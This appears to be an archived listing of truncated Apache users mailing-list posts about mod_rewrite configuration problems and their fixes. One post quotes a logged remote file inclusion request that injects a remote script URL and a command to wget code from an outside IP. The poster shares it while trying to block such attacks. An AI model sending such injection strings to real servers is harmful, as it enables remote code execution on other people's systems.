On 05.08.2007 16:23 CE(S)T, Joshua Slive wrote:
> On 8/5/07, Yves Goergen <[EMAIL PROTECTED]> wrote:
>> On 04.08.2007 18:25 CE(S)T, Joshua Slive wrote:
>>> Once you know that you need to use mod_rewite, there is no point in
>>> fooling around with mod_setenvif. It is simpler to do everything in
>>>
On 8/5/07, Yves Goergen <[EMAIL PROTECTED]> wrote:
> On 04.08.2007 18:25 CE(S)T, Joshua Slive wrote:
> > Once you know that you need to use mod_rewite, there is no point in
> > fooling around with mod_setenvif. It is simpler to do everything in
> > mod_rewrite. Or avoid it entirely.
>
> My point wi
On 04.08.2007 18:25 CE(S)T, Joshua Slive wrote:
> Once you know that you need to use mod_rewite, there is no point in
> fooling around with mod_setenvif. It is simpler to do everything in
> mod_rewrite. Or avoid it entirely.
My point with SetEnv[If] was to only enter the hostname once and not in
e
On 8/4/07, Yves Goergen <[EMAIL PROTECTED]> wrote:
> Hello,
>
> I'm using mod_rewrite to correct some URLs on my web server, running
> Apache 2.0. But I have a strange problem with it. First, here's the
> rules I have set:
>
> SetEnvIf Host .+ desired_hostname=beta.unclassified.de
> SetEnvI
Hello,
I'm using mod_rewrite to correct some URLs on my web server, running
Apache 2.0. But I have a strange problem with it. First, here's the
rules I have set:
SetEnvIf Host .+ desired_hostname=beta.unclassified.de
SetEnvIfNoCase Host ^beta\.unclassified\.de$ !desired_hostname
Rewr
On 6/4/07, José Ramón López <[EMAIL PROTECTED]> wrote:
Hi List!
I am trying to configure a rule with mod_rewrite, which allow me to change
the value of one script parameter.
I want the script to foward me to an error page when introducing
service=wfs in the request
The sevice=wfs parameter
Hi List!
I am trying to configure a rule with mod_rewrite, which allow me to change
the value of one script parameter.
I want the script to foward me to an error page when introducing
service=wfs in the request
The sevice=wfs parameter can be in all positions
This is my line:
RewriteRule ^/cgi
Israel Brewster wrote:
> On Mar 8, 2007, at 8:33 AM, matt farey wrote:
>
>> yeah, if you compare the number and type of rewrites for this package
>> with the way that wordpress used to operate, there is a lot of
>> correlation, instead now wordpress uses a much simpler form of rewrite
>> which di
On Mar 8, 2007, at 8:33 AM, matt farey wrote:
yeah, if you compare the number and type of rewrites for this package
with the way that wordpress used to operate, there is a lot of
correlation, instead now wordpress uses a much simpler form of rewrite
which directs the REQUEST_URI to the applicati
Israel Brewster wrote:
> Just got a response from the developer of the PHP script
> (serendipity). Turns out the problem lies there, and not with the
> rewrite rule. Apparently what's going on is that the php script uses
> the REQUEST_URI to determine what to display. If it doesn't recognize
> th
Just got a response from the developer of the PHP script
(serendipity). Turns out the problem lies there, and not with the
rewrite rule. Apparently what's going on is that the php script uses
the REQUEST_URI to determine what to display. If it doesn't recognize
the REQUEST_URI (as is the ca
On 08/03/07, Israel Brewster <[EMAIL PROTECTED]> wrote:
Oh, sure. Sorry- not trying to make things difficult here, it's just
that I spent several hours yesterday working on the issue, so I'm a
bit frustrated, and quite possibly not thinking straight any more :P.
Anyway, the rewrite rules I'm curr
On Mar 7, 2007, at 1:16 PM, Vincent Bray wrote:
Like, posting the rest of your rules, perhaps? As you're rewriting to
a php script, are you able to edit it to show a dump of the
environment? phpinfo(); die(); does that job.
Also, are there any Alias directives for nagios? Seeing your config in
mo
On 08/03/07, Israel Brewster <[EMAIL PROTECTED]> wrote:
Ok, yeah- that made the rewrite rules start matching when in the
httpd.conf file, unfortunately the behavior I'm getting with that
particular rule is the same. Maybe it's time to consider a different
approach entirely.
Like, posting the re
[snip] In this case, ^nagios never
matches because the per-directory prefix isn't stripped. ^/nagios is
what you need, in addition to simillar changes for the rest of your
rules.
Ok, yeah- that made the rewrite rules start matching when in the
httpd.conf file, unfortunately the behavior I'm ge
On 08/03/07, Israel Brewster <[EMAIL PROTECTED]> wrote:
Thanks for your response and suggestions.
On Mar 7, 2007, at 9:48 AM, Vincent Bray wrote:
> Hi, welcome to rewrite-in-htaccess pain and suffering. As you're able
> to use RewriteLog, why put rewrite rules in htaccess?
When I tried that my
Thanks for your response and suggestions.
On Mar 7, 2007, at 9:48 AM, Vincent Bray wrote:
Hi, welcome to rewrite-in-htaccess pain and suffering. As you're able
to use RewriteLog, why put rewrite rules in htaccess?
When I tried that my RewriteRules stopped working entirely :P I
suspect that
On 08/03/07, Israel Brewster <[EMAIL PROTECTED]> wrote:
Looking at the rewrite log shows the following entries:
xxx.xxx.xxx.xxx - - [07/Mar/2007:08:28:03 -0900] [izzy.homeip.net/
sid#1802648][rid#1838c38/initial] (2) init rewrite engine with
requested uri /nagios
xxx.xxx.xxx.xxx - - [07/Mar/2007
I am having a very aggravating problem with Rewrite rules, one in
particular. In the root level of my webserver, I have an .htaccess
file that includes (among others) the following lines:
RewriteEngine On
RewriteBase /
RewriteRule ^nagios[/A-Za-z0-9]* index.php?/categories/8-Nagios
[NC,QSA,
On Fri, Mar 03, 2006 at 02:58:44PM +, Matthew Claridge wrote:
I'm using version 2.0.46, with Resin (not that important whats behind
apache...). I have the following config set up to rewrite some elements
of our dynamic URLs:
RewriteEngine On
ProxyMaxForwards 200
Rewri
Matthew Claridge wrote:
The problem is that our URLs include hashes ('#'), which are escaped as
'%23' in the actual URL. What seems to be happening, from looking at the
rewrite log file, is that Apache successfully processes all those
rewrite rules, but in the process of actually processing th
On Fri, Mar 03, 2006 at 02:58:44PM +, Matthew Claridge wrote:
> I'm using version 2.0.46, with Resin (not that important whats behind
> apache...). I have the following config set up to rewrite some elements
> of our dynamic URLs:
>
>RewriteEngine On
>ProxyMaxForwards 200
>
Hi,
I've got a bit of an issue with mod_rewrite and I was hoping someone
could give me a little help :-)
I'm using version 2.0.46, with Resin (not that important whats behind
apache...). I have the following config set up to rewrite some elements
of our dynamic URLs:
RewriteEngine O
Tezyn Drasdin wrote:
RewriteRule ^*.(php|cgi|rb|htm|html)? |(_(REQUEST|SERVER|COOKIE)[*]$ YouGo'
n2Jail.html
Is this the correct syntax to get my desired result?
The QueryString does not match against the pattern of the RewriteRule,
you must use a condition in order to check the QueryString l
I have been having some problems with creating a RewriteRule using mod_rewrite. I keep getting attacks that look like this:GET /cache/index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=
http://213.97.113.25/cmd.gif?&cmd=cd%20tmp;wget%20213.97.113.25/giculz
I was revamping a website to use SSI, and changed all of the default pages to
.shtml.
I wrote an htaccess file (based upon the Apache 2.0 URL Rewriting Guide
example "Backward Compatibility for to migration") to do the
following:
-check to see if a file was of the format ^(.*default)
On Fri, 2005-08-19 at 11:09 -0400, Noah wrote:
Just be aware that with /that/ 'abbey' rule, you'll catch 'abbey'
*anywhere* in the URL, including as a subword of something, such as:
http://www.example.com/directory/cities/blabbeyville/coffeeshops.html
This may or may not be desired. =)
; http://labelle16.foo.bar:81/manual/ and the manual index page was displayed.
>
> The rewrite rules are not the cause of your problem.
>
> -ascs
>
> -Original Message-
> From: Nick Gushlow [mailto:[EMAIL PROTECTED]
> Sent: Friday, August 19, 2005 1:04 PM
>
: users@httpd.apache.org
Subject: Re: [EMAIL PROTECTED] mod_rewrite problem
On Fri, Aug 19, 2005 at 11:24:49AM +0200, Axel-St?phane SMORGRAV wrote:
> Uh Uh. Forgot to add the abbey stuff:
>
> RewriteLog /var/www/epp/logs/epp.rewrite.log RewriteLogLevel 9
> RewriteEngine on
>
On Fri, Aug 19, 2005 at 11:24:49AM +0200, Axel-St?phane SMORGRAV wrote:
> Uh Uh. Forgot to add the abbey stuff:
>
> RewriteLog /var/www/epp/logs/epp.rewrite.log
> RewriteLogLevel 9
> RewriteEngine on
>
> RewriteCond %{REQUEST_URI} !\.(php|gif|jpg|html?|css|js|doc|pdf)$
> RewriteCond %{REQUEST
: Friday, August 19, 2005 1:04 PM
To: Krist van Besien
Cc: users@httpd.apache.org
Subject: Re: [EMAIL PROTECTED] mod_rewrite problem
First off thanks for your help, I clicked reply not reply all before so I
wanted to say thanks publicly so I don't look too ungrateful. :-)
On Fri, 2005-08-19 at
First off thanks for your help, I clicked reply not reply all before so
I wanted to say thanks publicly so I don't look too ungrateful. :-)
On Fri, 2005-08-19 at 10:57 +0200, Krist van Besien wrote:
> >
> > RewriteCond %{REQUEST_URI} !^.*abbey(.*)
>
> A better way to "short circuit" is just to a
> > RewriteCond %{REQUEST_URI} !abbey
Hmmm, that has the same effect as the condition I had before. :(
The compact rules work and look a lot neater thanks.
Nick
-
The official User-To-User support forum of the Apache HTTP Serve
On Fri, 2005-08-19 at 11:24 +0200, Axel-Stéphane SMORGRAV wrote:
RewriteLog /var/www/epp/logs/epp.rewrite.log RewriteLogLevel 9 RewriteEngine on
RewriteCond %{REQUEST_URI} !\.(php|gif|jpg|html?|css|js|doc|pdf)$
RewriteRule ^/([^/]*)/?$ /index.php?epp=$1 [L]
I compacted the rewrite
Message-
From: Axel-Stéphane SMORGRAV
Sent: Friday, August 19, 2005 11:21 AM
To: users@httpd.apache.org
Subject: RE: [EMAIL PROTECTED] mod_rewrite problem
I suggest the following configuration:
RewriteLog /var/www/epp/logs/epp.rewrite.log RewriteLogLevel 9 RewriteEngine on
RewriteCond
I suggest the following configuration:
RewriteLog /var/www/epp/logs/epp.rewrite.log
RewriteLogLevel 9
RewriteEngine on
RewriteCond %{REQUEST_URI} !\.(php|gif|jpg|html?|css|js|doc|pdf)$
RewriteRule ^/([^/]*)/?$ /index.php?epp=$1 [L]
I compacted the rewrite conditions and simplified the r
On 8/19/05, Nick Gushlow <[EMAIL PROTECTED]> wrote:
> Hey guys,
>
> I've got a working set of conditions and a rule, but I'm struggling to
> add another condition/rule.
>
> The code below is working and turns any request for http://domain/word
> into http://domain/index.php?site=$1
>
> RewriteLo
Hey guys,
I've got a working set of conditions and a rule, but I'm struggling to
add another condition/rule.
The code below is working and turns any request for http://domain/word
into http://domain/index.php?site=$1
RewriteLog /var/www/epp/logs/epp.rewrite.log
RewriteLogLevel 9
RewriteEngine o
38 matches
Mail list logo